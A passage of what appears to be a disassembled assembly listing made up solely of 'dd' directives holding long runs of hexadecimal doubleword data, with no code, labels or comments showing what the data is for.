		dd 3E9819Ch, 0F2BD07Eh,	9B853E19h, 3037A454h, 0A531FF4Eh
		dd 0FAE2A1FCh, 66B708C0h, 0B567FEh, 85AC04E1h, 0CBB85301h
		dd 106979C9h, 339AE10h,	0E15F5E1h, 5A8261B2h, 6ADFC4A0h
		dd 6303D5C5h, 601A5DEh
		dd 2E1C0B8h, 1668015Eh,	307E678Ch, 0FE64FCE0h, 0DAFAD9C7h
		dd 5E02A3FAh, 9085CECAh, 1AA62ECh, 13FE5497h, 0D02EE05Dh
		dd 57601CC8h, 0F0966721h, 83C000C4h, 0B5D886A1h, 2C9210A4h
		dd 5172730Ch, 0F434C1CCh, 87F449h, 9EB7D0FAh, 93D21F90h
		dd 0B253A40Ah, 0FF1174CEh, 55887003h, 4BE02E57h, 0A800878Ch
		dd 6BC68A9h, 51646h, 0CF3CFD85h, 84C74E47h, 0CBA7A00h
		dd 74AA1AF5h, 260D12CCh, 868C1C12h, 0B95C7FCFh,	40B15324h
		dd 62A1D060h, 0E46800D5h, 35C86929h, 1C064061h,	0AA3D3E67h
		dd 22CC42A0h, 9F7C00FDh, 4C8A3217h, 0D224D7CAh,	5E8064F6h
		dd 42CA907h, 77120463h,	9799B276h, 5B41201Ch, 24A04F37h
		dd 2C60D9FAh, 5FE0CA39h, 60D27967h, 14920F0h, 1901F93Ah
		dd 799369CDh, 40ECD5D4h, 0FC5B5244h, 82C5007Dh,	0E14B0E53h
		dd 0CA62513Ah, 80B21FB1h, 0FBE76B86h, 879B01D6h, 0E1DDB3D1h
		dd 8463F810h, 8050A148h, 0DB0183ABh, 0C9A6033Eh, 4453765h
		dd 0D830A90Fh, 0D5D08136h, 81C6404Dh, 0C56DDD40h, 0D9477189h
		dd 81CF8001h, 75218C52h, 0FF6132h, 0F5E59A1Dh, 0B3EAF27Eh
		dd 0D057890h, 9E8460B2h, 10804448h, 9F204436h, 0F97B3800h
		dd 0E3957A7Fh, 0C4164862h, 8939FA03h, 0BE880B49h, 0DB00BF31h
		dd 872A17E6h, 0A26FDFCDh, 1E0C4090h, 0F8E2A6h, 615041E8h
		dd 7FC61CE0h, 6307D890h, 0C504446Fh, 8107C8A2h,	652F77Ch
		dd 0BDB1C0C7h, 5FD500E1h, 0CB042E48h, 0D852FA7Dh, 9FB312E0h
		dd 0CFA06805h, 145CEC10h, 284A37h, 78AAFDA5h, 6FAB5485h
		dd 758F5816h, 149CA680h, 0FA0C1247h, 305F1768h,	7FE900BDh
		dd 0B860F16Dh, 9D60C5FCh, 0CD0BE36h, 0E9E000FFh, 7884E101h
		dd 0A400B17Eh, 3082A9F9h, 3CF08A0Eh, 6A289704h,	0A0842808h
		dd 84489814h, 63290EF0h, 64C9ACBBh, 66961480h, 0ECA88C51h
		dd 29DE7BCFh, 13FB6900h, 1DAA4C78h, 439F5F8Bh, 689133C9h
		dd 0F07185C1h, 9015249h, 6D7A8EABh, 11704187h, 0CE790912h
		dd 0C013B053h, 299408C5h, 0D5086182h, 0CC40406Bh, 4D371169h
		dd 4F1C1810h, 0E98381h,	0F7FB28C1h, 4AF1D999h, 0D43E5E7Dh
		dd 11170012h, 8DAE83A5h, 36CEEDBh, 9ED228F6h, 2388806Bh
		dd 67036960h, 1050DD06h, 412BF10Bh, 3E200470h, 601E1661h
		dd 577B8088h, 0AA0537B0h, 0F143731Ch, 7184FDC0h, 3EC2AC4Ch
		dd 4F4CA935h, 0E4A80F00h, 1CE2048Dh, 0FCA95660h, 92D767h
		dd 0CA850B75h, 0A4289CE1h, 0C7A90C00h, 40CB5A09h, 0F1A0003Bh
		dd 589DE343h, 957A84C5h, 3A6BD900h, 91B687A9h, 0DC790F5Bh
		dd 3E27086Fh, 0BF13E0DEh, 75120A70h, 0A11EDA7Eh, 4A5D5CC0h
		dd 0B8187A90h, 51620A38h, 9E82E5Fh, 0DC9087CEh,	0E7005DFEh
		dd 0A1BC8084h, 17AD9BA4h, 11318CC0h, 0E201CC99h, 0CEFB977Eh
		dd 0E1466072h, 0F8B8D360h, 0D5F111h, 2E3AB1B0h,	5BDDCF20h
		dd 32680CA1h, 6678006Ch, 74AEE265h, 0FAB70AA7h,	97F438D7h
		dd 0B89C2151h, 0F0B2CDBCh, 7F014F07h, 38ACFA6Bh, 0D8337DCFh
		dd 6026B521h, 4161DF03h, 0C8EEA2FAh, 785DCCh, 202BA6D5h
		dd 2515E28Bh, 45E3D801h, 2A0746A9h, 87C40EEh, 0FEE526B2h
		dd 0FDAC6090h, 9F09C4CDh, 77F27B43h, 1066B581h,	5C9816Dh
		dd 1D18735Dh, 4A1C4840h, 54D40E6Eh, 0B5EC2D46h,	0D2706219h
		dd 0C0DCDC4Ch, 932B319Eh, 0D5851EAAh, 1D19C436h, 3EF54054h
		dd 0F2416AFCh, 77B7AE3h, 2F2835F6h, 0A4D3D3B3h,	115E2902h
		dd 696E7C90h, 64D6DD98h, 7ECF29B8h, 81AA9094h, 67A7D675h
		dd 0C4099052h, 22414140h, 0F0980CCh, 3EFFDBCBh,	0FD87F6C1h
		dd 0F03F2E3Bh, 0BE8184B8h, 3032E800h, 0B3483A9h, 0F410480Ch
		dd 3CADCC00h, 76B6A0Eh,	9454DD00h, 4134B9A9h, 0C90D011Fh
		dd 7B5E82FEh, 4468FE1Bh, 0E10AE7B8h, 9C511CF8h,	1A198049h
		dd 1C3CCCF0h, 0BB42DA20h, 0FD46A480h, 4A83F2D3h, 1A3A8012h
		dd 74206C17h, 275D26h, 0A1F65A9Dh, 2ABBBDE5h, 15E6C907h
		dd 6482D704h, 80CF01DBh, 71A846h, 1CC5D344h, 0C39D6A1Ah
		dd 0EFE8A2EAh, 4E6F03E8h, 0B8875400h, 0CAFE73DAh, 944C0040h
		dd 53152D5Dh, 0C0A4C7ADh, 325F7F22h, 58C0ABFDh,	530494E0h
		dd 2DC1AE12h, 0F968C002h, 6001005Eh, 3E007E28h,	0E6AA3AEFh
		dd 94CFCAC3h, 80C91F0h,	0B7C262Dh, 500058BEh, 444AD0FFh
		dd 8030762Ah, 0FFED0EFh, 0A4B01000h, 0B97EA30Eh, 0B4E70E26h
		dd 0DCE0184Ch, 69797754h, 0E998D800h, 705D0DFAh, 0FCA60119h
		dd 8B8571B3h, 0DDF02022h, 5C018FB0h, 0CCA95A12h, 0AAE4A80Bh
		dd 812E0003h, 6E696122h, 4F3DDDFDh, 0D0A4809Eh,	9F371A40h
		dd 2E521AA3h, 0A0434261h, 19366CA0h, 0C30F14B8h, 80A5146Bh
		dd 7913A069h, 0B60B8F3h, 0EC5A0A4Fh, 802B892h, 148451DDh
		dd 7DD4A468h, 614E8500h, 4C31D419h, 0FC1FE429h,	0FA110052h
		dd 0E53FA338h, 7E00850Ah, 3327021Bh, 0E85D68A9h, 84C10787h
		dd 4092E76Eh, 0CC8BB15Ch, 1B793507h, 0A85A75A6h, 0D827C580h
		dd 0FC4668B5h, 0DBB80F36h, 93C3B3h, 31C99684h, 0BC0C3B57h
		dd 3233457Fh, 0D45B0C25h, 5A980CEh, 0E1946500h,	7078DEA5h
		dd 19D163FAh, 85E7C95Eh, 370807DCh, 0A439CC4Eh,	1017FD7Eh
		dd 7C00D7CEh, 692E9B86h, 821C303h, 60A0017Ah, 68309361h
		dd 0B64D1902h, 79E70F9Bh, 0F785A8E5h, 1CE0818Fh, 0BF69804Bh
		dd 966AA6F4h, 0D97936h,	0FDAE2E06h, 37E328EFh, 93740D02h
		dd 5251FF4Fh, 0B02600C4h, 8C3AE557h, 7100CF5Dh,	16343D1Bh
		dd 3DAA1AA2h, 9402EC9Eh, 0A510A4F9h, 37E8905Ah,	4B2CD90Bh
		dd 85600411h, 941C90B4h, 431F8708h, 5AB110F8h, 0D80AB6D5h
		dd 0DAE8F4B8h, 0DAFA6A02h, 49909015h, 0A72C8804h, 10093507h
		dd 0E1E6946h, 0C5B4A359h, 661C044h, 0A1A2010Dh,	0B06256E6h
		dd 3BCBE43Dh, 1DC48E01h, 9375A4B6h, 2619034h, 2B1508E9h
		dd 8C607CC2h, 504287CFh, 1A2C3822h, 7B0026C7h, 0C0C1BD34h
		dd 25A3722Ah, 84908E77h, 8900C841h, 6EE0B93Ah, 6469F749h
		dd 0C0B140CFh, 0CECB07D8h, 0D4417E4Bh, 0C986A9FCh, 4F639BF8h
		dd 0C53030A4h, 0C6F43D8Ah, 156E0400h, 2FA8E35Fh, 0D00D63C3h
		dd 3000D3E0h, 0DB07DAD9h, 3A1D90h, 0E4371832h, 8AE8690Dh
		dd 6AD0B00h, 7CA22A4Ah,	0C102049Dh, 0A2380536h,	112900E8h
		dd 9EC835FBh, 85C9004Eh, 2749936Bh, 2039B07h, 69048EF6h
		dd 6A310015h, 3FD20C42h, 938891Bh, 0D38B07AAh, 0E461EF4Eh
		dd 0AC3D765Fh, 0D94DC600h, 996673FDh, 0FCFC083Dh, 74594C00h
		dd 0AF719E62h, 37763792h, 24CCD031h, 0FD001BFBh, 0D9950DD6h
		dd 2E5C62B2h, 782C88h, 0DA84CE20h, 0F0B82EA8h, 25EEFF17h
		dd 6047DC02h, 0DDCE80DEh, 32AB9E74h, 0A1181DAFh, 362E5260h
		dd 0DE840B0h, 809CA958h, 0EF184641h, 35E9055Fh,	101E405Bh
		dd 111C9108h, 0A62E44D7h, 0BE0E284h, 1085CF03h,	7AAFEB8h
		dd 4FD97E69h, 0B254F2E0h, 17276C51h, 0D2790414h, 0A91CE4A3h
		dd 0EF386F07h, 6487139Bh, 80B8785h, 0D4F004CBh,	0C878CF45h
		dd 34527524h, 0DA007CA4h, 9450E984h, 5C01ED1Eh,	5738DCD8h
		dd 3BCA5800h, 0DDD0094Bh, 870F407h, 0A9E01F81h,	2FFF8Bh
		dd 0A184D579h, 7707418Ch, 0CF91B10Eh, 7C8813FEh, 0B260001Ah
		dd 0EC0A2542h, 530ECA86h, 7DA4989Fh, 18943A80h,	601DAE60h
		dd 0EC14A155h, 84079BB7h, 4EB95DCh, 26801775h, 9CA519FCh
		dd 0C685900h, 3008C0D5h
		dd 0F37ED066h, 0C507A090h, 0E82E15E1h, 6CD25B95h, 0D0FC2761h
		dd 52FE0109h, 0A00F4B1h, 716836E1h, 97E400CAh, 363043Eh
		dd 2D00C480h, 0FD7C29DEh, 1F1FAA2h, 524AD105h, 308326FEh
		dd 0C1403F48h, 519DFB51h, 0D79240D4h, 585BBBE4h, 878E1200h
		dd 0F4476967h, 3EBE0623h, 317BAE54h, 0A0E97A01h, 5D124637h
		dd 4222FC39h, 29D25130h, 3E8A09h, 471281Ch, 316419FDh
		dd 9B92CD00h, 95EA680Dh, 8C263293h, 0CA275998h,	0C20703D4h
		dd 91D6D040h, 0D0B09D1Bh, 0B7873C00h, 6821A3E0h, 3E38C8A4h
		dd 0F94F3784h, 15309059h, 0B1484487h, 917F1938h, 0CA132720h
		dd 0C3FC487Dh, 6900AB71h, 350B33FCh, 144A7A3Fh,	40A55C08h
		dd 0B1758201h, 4265BDC9h, 46127998h, 0B49607B0h, 722F14F4h
		dd 90C8B639h, 4F13D5D2h, 44C84240h, 0E941866Fh,	0B1809C3Ch
		dd 33D75725h, 8931F76Fh, 0DF2403B3h, 591CA16Eh,	5F261980h
		dd 0F4334A51h, 7965CB01h, 5DF068E2h, 38834439h,	6DC87A33h
		dd 0D00F67Eh, 8A127CA8h, 221B150h, 7D712DB6h, 0C8C0A4D3h
		dd 1179642Ah, 0B3FECB02h, 44DDFA76h, 0FCA100FCh, 0E13F813Dh
		dd 0D496C71Ch, 913C004Bh, 0C406E9C9h, 0A6537EC9h, 8A5065E4h
		dd 0F6E8F88Ch, 0A74A0018h, 946AFD0Fh, 6005423h,	90C11D61h
		dd 7E5D15D1h, 0E3512DDCh, 2934BC38h, 31CBC00h, 470C5DEBh
		dd 6DAB0B73h, 0EF80D501h, 661A2D9Dh, 0AA040E01h, 1B1C4D77h
		dd 1E7585F4h, 0C51F64Bh, 0D0E870B2h, 0D5AC3A03h, 7FD868C9h
		dd 5A4A861h, 0A8E40E6Ch, 0E965A329h, 2C703D02h,	76068018h
		dd 5B2FF889h, 0A376E0E8h, 84A43Eh, 0E18E6FA5h, 7BB3FD30h
		dd 0B5D7257Bh, 0A3E200A1h, 7569ECDDh, 88ADFE12h, 493F6808h
		dd 71602F86h, 6B724CA0h, 0F47BE500h, 34B1FDA7h,	13350520h
		dd 9642DC8h, 0C466CC84h, 0C1FA6930h, 9405Fh, 4979146Fh
		dd 5AC19F8Dh, 0A1E2507h, 29DC1287h, 0AA0F0005h,	0DBC3E1ADh
		dd 0CCB8E3C5h, 5AB65F00h, 0A02A1B10h, 1CE7745Dh, 0C119D02Dh
		dd 81CE6C23h, 9983C99h,	0C4CDAF53h, 115D4204h, 0EA0BC1ABh
		dd 74A80DBAh, 404A07ACh, 1D1852D7h, 56E6C05Ah, 196DC800h
		dd 0F1178099h, 8ED03EAh, 54C4CF9Dh, 75108EB0h, 68AA4C00h
		dd 41816D73h, 0AB0F0024h, 51DF5870h, 760285FFh,	0D83EA1F7h
		dd 199CCE36h, 0F9164E37h, 0C621Ch, 495B106Dh, 7F2EB781h
		dd 30D703C3h, 41F65E9Fh, 9861EFCAh, 8CC5479h, 19165280h
		dd 7E0CE4CAh, 0EE3077E9h, 2AFA5D40h, 44402FD1h,	23322C04h
		dd 993D486Dh, 0E212DFA4h, 61489063h, 0D022CCh, 6422301Dh
		dd 0B54AFF67h, 3A35C51Fh, 59EA7100h, 33A4ADA1h,	69587422h
		dd 40754128h, 8040C93Eh, 0A26AB876h, 0D7F25FCh,	65AE53E0h
		dd 1EF47261h, 0BE4489C5h, 0F4C8C35Bh, 0BD5D8879h, 0C09430F5h
		dd 0D0260645h, 3729E331h, 0A5284142h, 33C8E365h, 130362FEh
		dd 253A4D4h, 87AAF8F8h,	0A2E40199h, 0F085330Dh,	0FF9DCC07h
		dd 0DF1F8300h, 5DCB73B1h, 4B7D5Ch, 0D5135E08h, 3F49B0ADh
		dd 83AB0600h, 0BB54DF61h, 48E2EE5h, 53A42E4Ch, 807CC1A9h
		dd 15B23A46h, 291D364h,	29FDF0BCh, 9C828B23h, 68642B05h
		dd 531D9E11h, 7F238800h, 689A5650h, 6DB8E90Fh, 7ADE0031h
		dd 90C1507h, 0F6A51F11h, 0D0BAECBAh, 0B501A8D2h, 8D330380h
		dd 0FFCCAA27h, 5CE91C30h, 603CC010h, 0F751DDD2h, 5C901CA2h
		dd 670A4A8Ah, 0E37270CEh, 0ADBDB200h, 1E1885Dh,	135AB4D3h
		dd 69704899h, 33751BC0h, 0CBBE9091h, 0EDFB0040h, 787F943h
		dd 0C502D1A2h, 302E70FAh, 178C675h, 65513832h, 203DBBF8h
		dd 0CE2F7B3Bh, 0CACC907Eh, 5442134Ah, 7844C8B8h, 3CE286h
		dd 0CB5D26E1h, 0F69A5D4h, 1A03E772h, 7D6BCC8Dh,	0E07C8840h
		dd 17D5F090h, 92E1C52h,	10644350h, 0A35CF719h, 0A840B160h
		dd 8AC6A953h, 17A8A840h, 0FE2DCB00h, 0D715F767h, 875C9C2Eh
		dd 82566DE2h, 0A060F39Eh, 43407444h, 0D06A5430h, 62B20B0Fh
		dd 0FC99A084h, 0A460282h, 482460A0h, 0F600AC35h, 0FB69B997h
		dd 0C3436E11h, 196BD5F1h, 780384A1h, 53F8D754h,	453D3813h
		dd 0B451B2DCh, 0B60A0370h, 90CA43A6h, 93D8E500h, 1E8A295Dh
		dd 8AEE5FCCh, 0C0C31E1h, 9139CF51h, 44275700h, 6490DE4Ah
		dd 67093F3Dh, 0B7F4AE80h, 353240CAh, 3CDB1F3Bh,	6DE701FDh
		dd 7FCF3B1Ah, 0B321D033h, 0A278E100h, 17DED17Dh, 9247375Ch
		dd 0C056A578h, 0D2DC7C40h, 0EED5002Ch, 0E8465116h, 120AA184h
		dd 6CB1A4A5h, 86FA6E81h, 87002656h, 47C4AB5h, 630C808Eh
		dd 94B89510h, 0C8A47684h, 0E1143098h, 1BD8B202h, 0C0193675h
		dd 2C6346h, 6795764Eh, 322233BCh, 4420934Ah, 3AEA9092h
		dd 0C4D1F286h, 1C023AF5h, 0BB71EC44h, 0A4B7B903h, 0B782150Bh
		dd 0B10F1AA1h, 4BE1C861h, 0FF8F214h, 6B8B1FCBh,	0F6330094h
		dd 0CD0A39h, 13212072h,	0A47D4DDEh, 0F9003171h,	62C1AF4h
		dd 0FF36E2h, 0E504463Eh, 77DDBAD3h, 0D59A1000h,	571A80F1h
		dd 0F46E00A9h, 85023749h, 0C9002D94h, 76AA1D8Eh, 9058CCC3h
		dd 766248Ch, 0EFF7006Ch, 0A7FCDEA3h, 0FDF14B19h, 4F1014F8h
		dd 0A500BCE1h, 6220F257h, 11021FBh, 0D5E48F6Ah,	70D888C0h
		dd 4CEED720h, 11474025h, 110C6C60h, 485E280h, 46E0F17Bh
		dd 51082FFh, 59ABFA21h,	428451F2h, 785457DFh, 0A12B7D43h
		dd 3980FE69h, 0EB6DDACBh, 0B90FEDC9h, 0A025CA20h, 9E97884Ch
		dd 53030CB0h, 6969D8B8h, 67391160h, 0B6B546h, 0FC18C137h
		dd 0D2F203F4h, 0A8001DEEh, 8EF8E8E2h, 91902A64h, 0B900BD98h
		dd 9AF9BE1Bh, 905F66Dh,	6F4C6A80h, 7D0B18C0h, 9464482Ah
		dd 269E8400h, 0A5DFA44Dh, 318DB40Ch, 4BDAE830h,	0E77446EDh
		dd 0E07C246Ah, 0D43AD42Ch, 60E890ADh, 0A96939E6h, 56A5C080h
		dd 0B58B4157h, 0A6A84400h, 6429C819h, 9930907Ah, 0E1146054h
		dd 0C406CA4Ch, 323F4FDBh, 85504F6h, 0A9D6FB1Eh,	0E9621D54h
		dd 18C4DE15h, 0CA1947D5h, 0D92C053Fh, 1CC735h, 36FF930h
		dd 8501A194h, 0D861B770h, 0A83D6B1Ah, 0A8F8A584h, 34D61188h
		dd 0AD02EC53h, 4DF16596h, 0D50DDBC0h, 6CB31898h, 0BD642D01h
		dd 30ECF1B8h, 509D7C7Eh, 27FE9CAAh, 0E4A26866h,	0A5606E78h
		dd 0B100F883h, 733CE509h, 18CEFEC3h, 88A46516h,	4C5283CFh
		dd 3C2290h, 562F1F4Fh, 44416ED8h, 0FA33B404h, 4E87E294h
		dd 108EB103h, 1CCFA5A0h, 522685Dh, 266589AEh, 8254244Ch
		dd 7929478Ch, 0AD0400CCh, 4DDBCD90h, 0A90BD000h, 0FD93AC8Fh
		dd 3907F049h, 0F8D85AC7h, 622E4220h, 0C091E4EBh, 0FCA57500h
		dd 833C77A9h, 3A4AD016h, 0AC345402h, 2C44614Bh,	98794448h
		dd 0B3503C4h, 4C625CF8h, 0B3FABFC0h, 90FE032Dh,	0E76368Ch
		dd 31B89660h, 18BB0B00h, 0F604086Dh, 4137A80Ah,	0C9C0F4ACh
		dd 0F1E01039h, 0AE067478h, 581CE117h, 928E00F1h, 1A0BBBB4h
		dd 0AF004134h, 0A1D0DF04h, 0E9E41Fh, 76469F9h, 0DC9C4DDDh
		dd 40DB6F00h, 0C58E718h, 7F109068h, 0A9653B1Ch,	8B48A185h
		dd 243041EFh, 216B6E73h, 6CFE801Ah, 0A2870266h,	0EF5A581Dh
		dd 4481F440h, 2F002ECCh, 0F21C3D92h, 1ED22DF4h,	0C10974A5h
		dd 95704D30h, 0D18840F7h, 0B6193B5h, 0E03AAB18h, 7F365420h
		dd 0A48A50BBh, 0F45701BCh, 74CB55Ch, 6DBC207Bh,	0B401A970h
		dd 80773874h, 0C7F0611Ch, 0AB970355h, 0DE150186h, 7E1040EEh
		dd 3408F6DFh, 183E8036h
		dd 131935D2h, 7686068Fh, 0A861732Dh, 30A68910h,	0D5267808h
		dd 0FB18FA3Ch, 4430EA28h, 0B12C0276h, 42728E02h, 0F4F19860h
		dd 0CC403362h, 374820Ah, 0F0711CEh, 2D119A20h, 3008F759h
		dd 9F391B43h, 3711D4D1h, 2468CBE7h, 0E1CA951h, 0DB6CFE6Bh
		dd 40D0013Ah, 1813E535h, 0CE2441DAh, 1296AC28h,	8248F220h
		dd 60184A79h, 7152A72Bh, 2E733E84h, 6C2E05Ch, 30E44838h
		dd 37DEFA11h, 34685127h, 4D009183h, 668EC8B8h, 981262ABh
		dd 47810C8h, 55B01F37h,	4D7C3C04h, 0EA05A480h, 0D7123841h
		dd 14396A8Bh, 0DA7C74C0h, 4B5E126h, 490BF239h, 2C815A4h
		dd 401A0310h, 40D7B144h, 1214F6DEh, 0F120FC0Eh,	0D019A2A8h
		dd 0C1C03976h, 0C022A9EEh, 20E86Ch, 0D7063D61h,	0B77C9854h
		dd 431AAD05h, 84225B19h, 7AE84452h, 8998ABh, 0ACB66C29h
		dd 4E0F177Eh, 91307B13h, 9360444h, 118C0212h, 3E20601Eh
		dd 1DCC8301h, 0A7A5F6D5h, 41D374C3h, 0FA1D2100h, 81505982h
		dd 247946h, 0FF2D5FF6h,	338D68A8h, 78494201h, 3AB387Eh
		dd 7344202Ah, 65002DDDh, 9BB5F9EAh, 3857ACFh, 8087109Dh
		dd 3013097Eh, 0F019CBD6h, 7181798h, 0D5CA8308h,	0C01B71E6h
		dd 9600AF83h, 99F5B6B3h, 35526F8h, 88A2FC90h, 60710ACAh
		dd 2044700Ah, 102DF438h, 4CA6A408h, 3D10F4D4h, 0C17977DDh
		dd 0C12B7630h, 347190Ah, 0E20DB206h, 8DEA95Ah, 0E9214160h
		dd 2EA4710h, 69F7D7BAh,	0C5E34AC4h, 630978D6h, 0E2B0BDh
		dd 905EC38h, 2A39C153h,	0E89FC8A2h, 3A0C9949h, 8C1412Eh
		dd 4021DFD6h, 3EC79FD1h, 88026F04h, 95C27EC3h, 2A5480ABh
		dd 0C0A8EDCAh, 1E81B310h, 2300A76Bh, 54CC1138h,	8456B2h
		dd 983ABE93h, 0B850B14Eh, 6851F200h, 3FA5D529h,	26F60CF1h
		dd 1619AAE4h, 668C8800h, 59D2F476h, 0CCFD1D89h,	22203085h
		dd 3002011h, 0E9B78F8Eh, 38C134D0h, 0F01E5AA7h,	7F00FE4Ah
		dd 1D0E4ECCh, 0D93C5B50h, 98080F7Bh, 0B9EF0019h, 38511772h
		dd 6730779Ah, 23E4A458h, 61019300h, 1CCA228Ah, 2B140199h
		dd 0CD360C62h, 7A28BE78h, 2AF0D112h, 6C46E60Fh,	6579970h
		dd 257C79EDh, 10EE688Ch, 8A077D72h, 0EF614D8Fh,	0C2AA403h
		dd 685771A0h, 7E93380h,	178E5B1h, 0DA5D7080h, 4D581A3Dh
		dd 0A9155608h, 781800F9h, 0F477E76Ah, 147838F8h, 948EE028h
		dd 957CA01h, 106B690Dh,	58B152D5h, 976B990h, 8497B1FCh
		dd 30400870h, 0E48E1873h, 0D2E7C89Ch, 5DE8FA61h, 101A2B19h
		dd 84E476B9h, 0A5C000AFh, 0F150016Ch, 8A24C1FDh, 0B8F85B68h
		dd 0A8BC799Dh, 58D0F8DDh, 307DFF04h, 3110F723h,	84A03278h
		dd 0BC03015Bh, 41E94DC1h, 51B0076Eh, 0E139AF6Fh, 882CC031h
		dd 0BD3529h, 7A8DA834h,	0DD004FC6h, 0F301962Ah,	3AB525D9h
		dd 6181863Eh, 267C3285h, 2716F465h, 0A584EE01h,	0F7D0C277h
		dd 73F15160h, 7E7D2Ch, 2AABDA41h, 84A076A3h, 36015A00h
		dd 7BFC4C9h, 9EDE0BC2h,	620026BBh, 0AD08F6B2h, 80ED933Bh
		dd 9D59C9DBh, 429575h, 0BB3741F8h, 55CCE836h, 0BCE02F03h
		dd 0A846C573h, 22596Ah,	0FFC25E14h, 9AFE947Dh, 0DC5F3800h
		dd 611B50D8h, 30420ACFh, 986640h, 1A9F62C3h, 0B53D27F6h
		dd 6352057Ch, 3CC0FEA1h, 1BE6FA5h, 7E457767h, 0DCE659B5h
		dd 1D60A3BDh, 0CEB4768h, 0BA520008h, 42F2BB0h, 2E1D2806h
		dd 4D00CF5Ch, 58BFC80Eh, 0D990011h, 0AD84FCDBh,	4A0352C1h
		dd 0A00E212Ch, 0CFCEE802h, 0DCA600D3h, 0A91A139Eh, 8F0FE8D1h
		dd 0A1185CC7h, 0C62D513Eh, 0A6DBD4h, 57AD59F5h,	0F354FDF8h
		dd 0CFBC9854h, 5F90DA00h, 7AB7695Dh, 4ADC124Eh,	640C008Bh
		dd 0B280DF62h, 910F8E00h, 217EFC02h, 0AB450153h, 176AA6F5h
		dd 0B2E8EC69h, 0B1843703h, 0A855667Dh, 7A2B82Ch, 75FE1E56h
		dd 0EE78F91Fh, 0F6595200h, 0CA0BDCB3h, 0CC20006Ah, 774C80D2h
		dd 240051EEh, 94817DC8h, 7DC9903h, 0FD36D79Dh, 8E7B7090h
		dd 0E100ECADh, 82C18F53h, 71DBF38h, 3EFC0996h, 0F67EC395h
		dd 20F117F9h, 45393268h, 91048063h, 0A194C1B3h,	601800C4h
		dd 0EB5CF8EDh, 6900CB8Eh, 1AB30EAEh, 47FC11h, 10AC63CCh
		dd 0A65A6D7Fh, 5BE3400h, 30421EDh, 1B400073h, 3A4F66B8h
		dd 0E50E63EEh, 0E0580842h, 54E91713h, 0DA2800DEh, 2BDBAE22h
		dd 14009C93h, 1340E65Fh, 970AAh, 72BEF343h, 807129DFh
		dd 2F4FB3Bh, 1C50C62Eh,	2DC0838Dh, 0B45F993Ch, 46824h
		dd 38D0C7CDh, 0C191088Ch, 1E00A3F6h, 69C5E399h,	0C95B3Ch
		dd 972F46Ah, 62010B44h,	0CC00D00h, 5F58841h, 0EAF8E895h
		dd 2E9200ADh, 0EEACE79Dh, 18000CE2h, 1415A5AFh,	0C8B9C09h
		dd 4FADE1A3h, 74002450h, 0C12730ECh, 72CF4746h,	0B60E0078h
		dd 0A9EDDDDCh, 0CD3E1749h, 0E5E80020h, 119C32DAh, 6E8C1D5Fh
		dd 860800B3h, 0F4DF87A9h, 5C887E00h, 0E3C429A2h, 6C4400F7h
		dd 6653607Fh, 2E1F97B5h, 0CB022125h, 69057942h,	1822DD8Ch
		dd 0C35C611Dh, 7B8DF797h, 0F1E14CBBh, 58AEF0CBh, 2BEE8F00h
		dd 9F08064Fh, 6498C11Bh, 0E8126D2Ah, 0D213EA31h, 804E6B29h
		dd 0AD2220D0h, 77EF8h, 0D5470125h, 872CCA5Eh, 367B9005h
		dd 0C000E673h, 0DA76EC05h, 108D1E9Bh, 473FC089h, 7C3673FAh
		dd 0FDD4A000h, 0B4AF63Ch, 3E0E01A8h, 5DBD14C1h,	1DB5E82Dh
		dd 0F9A60A00h, 0DCD1B984h, 1F77080h, 0B4E196E7h, 2045FE0Eh
		dd 0AC07B607h, 59AD062Eh, 8C838971h, 2C0820h, 79B8881Bh
		dd 0C9C8F786h, 5926B31Eh, 7D090ED3h, 0A4D8216Eh, 0CBD4FB20h
		dd 4EA507F9h, 0C094CC9Dh, 0D5469EEBh, 8467BD3Dh, 57FAA8C6h
		dd 94D0C887h, 7E4E8D3h,	1E2C2A55h, 0CC003981h, 89C43648h
		dd 0A600FA98h, 0B023C367h, 1C17E47h, 0BABFA057h, 0C0E558F7h
		dd 611F44F4h, 45C074E6h, 0FF768CE9h, 35080097h,	0FC0FC94Bh
		dd 4E00BD62h, 8419B365h, 152A006h, 0BF66B728h, 0F59D6C4Fh
		dd 643020F5h, 758BAD07h, 10705162h, 0B2F09Fh, 23CC16C3h
		dd 0C8EF4C77h, 0A69511C0h, 201280h, 67F12D08h, 0CE9035B1h
		dd 64218D06h, 0AB28C433h, 9606B814h, 11A95CB4h,	494A611Ch
		dd 3420BDE6h, 0DF8BD953h, 7D938A0Fh, 0B4CA4A03h, 0EBCF3E01h
		dd 0EEFC1083h, 3A8E0B67h, 80F778E7h, 0B1E95E97h, 0C8360062h
		dd 17AEB75Dh, 4033883h,	255CE6Ch, 7AF89039h, 3C570025h
		dd 785A9167h, 7E7340FFh, 7D58B100h, 2F96BA9Dh, 0ADF01B2h
		dd 6A300C7Bh, 62B84068h, 690C0614h, 509FA9E4h, 6EE2078Eh
		dd 61ECB779h, 0D82B4689h, 803E8A09h, 93F916E1h,	0AD0CF440h
		dd 0D5F640h, 9712048h, 0B13BD049h, 0E495F100h, 0CD43BBEBh
		dd 4C20066h, 0E886A298h, 4E13DA58h, 6C0020B0h, 0E007FA59h
		dd 3DAE0A27h, 0F40966h,	0B5E7492Ah, 731CC8F6h, 0E9CF7B6Dh
		dd 0B04012CBh, 12646B71h, 0BC2D05E7h, 3C0A131h,	83FD7BB4h
		dd 9EC316C1h, 0C051511h, 4CD04D5Fh, 6D63C8h, 0FD8DE88Ah
		dd 915597F7h, 99527500h, 0EEDDAACFh, 0D3160285h, 79A28E23h
		dd 6905C4E4h, 687BA0C1h, 0E1CB080Eh, 4D61BD03h,	722A7880h
		dd 716648Dh, 14B82E07h,	318C4C53h, 18C09A65h, 0B8F71268h
		dd 0D9019BB4h, 0D478A5Fh, 57D4E896h, 0BA190568h, 0C0700179h
		dd 4DD06790h, 924F7101h, 0E427F8B8h, 0E499C360h, 852B12ADh
		dd 2D00AF94h, 671B568Ah, 0B8DD0088h, 0E45FFB37h, 0B500FF7Ah
		dd 1998105h, 8B50FEh
		dd 577DF3FDh, 5972EE55h, 952BA900h, 16D57376h, 0F0F0F697h
		dd 19290049h, 12F74B18h, 0C1C08F4Fh, 6AB748EDh,	61A67763h
		dd 62BAE178h, 5CA0D8B3h, 6EAA7300h, 6C0C7226h, 0D3BF00C3h
		dd 5F859ABEh, 1528CEE9h, 723AD0DBh, 0F307958Fh,	0B0D239ECh
		dd 0F01B5177h, 0D59800CDh, 0A392DCE0h, 9000ECDBh, 7183CB46h
		dd 95AD57h, 0D3AB1B26h,	5BA79456h, 0F3D04F54h, 4AE067FAh
